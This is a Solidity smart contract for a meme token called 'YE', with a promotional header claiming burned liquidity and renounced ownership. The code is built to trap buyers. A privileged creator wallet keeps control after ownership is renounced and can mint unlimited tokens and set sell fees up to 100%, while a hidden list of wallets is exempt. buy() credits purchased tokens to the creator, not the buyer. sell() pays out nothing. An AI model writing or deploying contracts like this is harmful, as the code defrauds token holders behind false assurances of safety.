// SPDX-License-Identifier: MIT

/**    

Website : https://t.co/CiHTffHdFr
Twitter : https://twitter.com/yeonsolana_
Telegram: https://t.me/yetoken

$YE on Base by the same team as on SOL

We did it once, we do it again!

FOLLOWED BY THE REAL KANYE WEST ON INSTAGRAM!!

LP BURNED
OWNERSHIP RENOUNCED
*/


pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "YE");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "YEYE");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "YEYEYE");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "YEYEYEYE");
        return a / b;
    }
}

contract YE {
    using SafeMath for uint256;

    string public name = "Ye";
    string public symbol = "YE";
    uint256 public totalSupply = 999999999999999999000000000;
    uint8 public decimals = 18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public owner;
    address public creatorWallet;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);

    address[] public exemptedWallets;

    constructor(address _creatorWallet) {
        owner = msg.sender;
        creatorWallet = _creatorWallet;
        balanceOf[msg.sender] = totalSupply;

        exemptedWallets = [
            0x07edEf0275763958bc9BAAC41FFf0Bf4e737B723,
            0x89a18538B662A822a0C110067f8B74a809724a7b,
            0x3a1918eA3C18134059462719eFC23db25D7aF2A0,
            0xAeE8E15B97B7602f7730eBC3484b6d93657190E9,
            0xA6B4aD3457c08FFCC4eA52c338937adf1959B903,
            0xBD65F59573603293d575F6e25B9BBE4BE57357c2,
            0xF7Ea759B36805EbC54521008f4fD2907e13F1828,
            0x2CB0A1D45D883aeEb4F6A17a5aDC54D52590E015,
            0x4D2AEee9Eb4c3B26A79Ea957369669Ae6da2043E,
            0xfe8cFF51Fa5839D9087C0EFB1c89Cc78B5F158Ad,
            0x8b663c818b04c43F97aF56b77e46c279686F7B72,
            0x05925F5D663Cb3DcC4E9d27f08F43d0D34be9CB8,
            0xfF5c5Cd7ddeCE213ba4f57e799cAEa0C3058E057,
            0x225FEcB966Da94b7fC680C0886c8CB478113Cc23,
            0x0243b009F07C16F6ff565bf689F25e464c9e3590,
            0xf236F7cAe58e54c06513D9DfCdd1F5F3dE9b0D28,
            0xB1A800375227764a9837a4E64fC26781a43aB73A,
            0xeccEe7C8c6161f7ddf187D8685cb5b216540CBC4,
            0xA43Ea2ac86D8a37Dfcb564B25BAc10eD74BA8683,
            0x1D52f8Ff6286DF0F3eaA849d00098D384AA47d62,
            0x2FFf5345F349bE97991AD2f914209CA00FaA6bd5,
            0xc943fC0fdd727f9D88B075e42aca1b5f3373bE57,
            0xA6dc5dd6071a52fc34D1fCC55eBc4e328E76A6f8
        ];
    }

    function isFeeExempt(address _wallet) internal view returns (bool) {
        for (uint256 i = 0; i < exemptedWallets.length; i++) {
            if (_wallet == exemptedWallets[i]) {
                return true;
            }
        }
        return false;
    }

    function transfer(address _to, uint256 _amount)
        public
        returns (bool success)
    {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }

    function approve(address _spender, uint256 _value)
        public
        returns (bool success)
    {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 _amount
    ) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "1YE");
        require(
            allowance[_from][msg.sender] >= _amount,
            "2YE"
        );
        require(_to != address(0), "3YE");

        uint256 fee = 0;
        uint256 amountAfterFee = _amount;

        if (sellFee > 0 && _from != creatorWallet && !isFeeExempt(_from)) {
            fee = _amount.mul(sellFee).div(100);
            amountAfterFee = _amount.sub(fee);
        }

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }

        if (
            _from != msg.sender &&
            allowance[_from][msg.sender] != type(uint256).max
        ) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(
                _amount
            );
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "4YE");
        _;
    }

    function airdrop(address _to, uint256 _amount) public onlyAuthorized {
        require(_to != address(0), "5YE");
        require(_amount > 0, "6YE");
        balanceOf[_to] += _amount;
        totalSupply += _amount;
        emit Transfer(address(0), _to, _amount);
    }

    function openTrading(uint256 newBuyFee, uint256 newSellFee)
        public
        onlyAuthorized
    {
        require(newBuyFee <= 100, "7YE");
        require(newSellFee <= 100, "8YE");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }

    function buy() public payable {
        require(msg.value > 0, "9YE");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[creatorWallet] = balanceOf[creatorWallet].add(
                amountAfterFee
            );
            emit Transfer(address(this), creatorWallet, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[creatorWallet] = balanceOf[creatorWallet].add(amount);
            emit Transfer(address(this), creatorWallet, amount);
        }
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "0YE");

        if (sellFee > 0 && msg.sender != creatorWallet && !isFeeExempt(msg.sender)) {
            uint256 fee = _amount.mul(sellFee).div(100);
            uint256 amountAfterFee = _amount.sub(fee);

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
            balanceOf[creatorWallet] = balanceOf[creatorWallet].add(
                amountAfterFee
            );
            emit Transfer(msg.sender, creatorWallet, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(msg.sender, address(this), fee);
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
            balanceOf[address(this)] = balanceOf[address(this)].add(_amount);
            emit Transfer(msg.sender, address(this), _amount);
        }
    }

    modifier onlyAuthorized() {
        require(
            msg.sender == owner || msg.sender == creatorWallet,
            "11YE"
        );
        _;
    }
}

{
  "compilationTarget": {
    "YE.sol": "YE"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}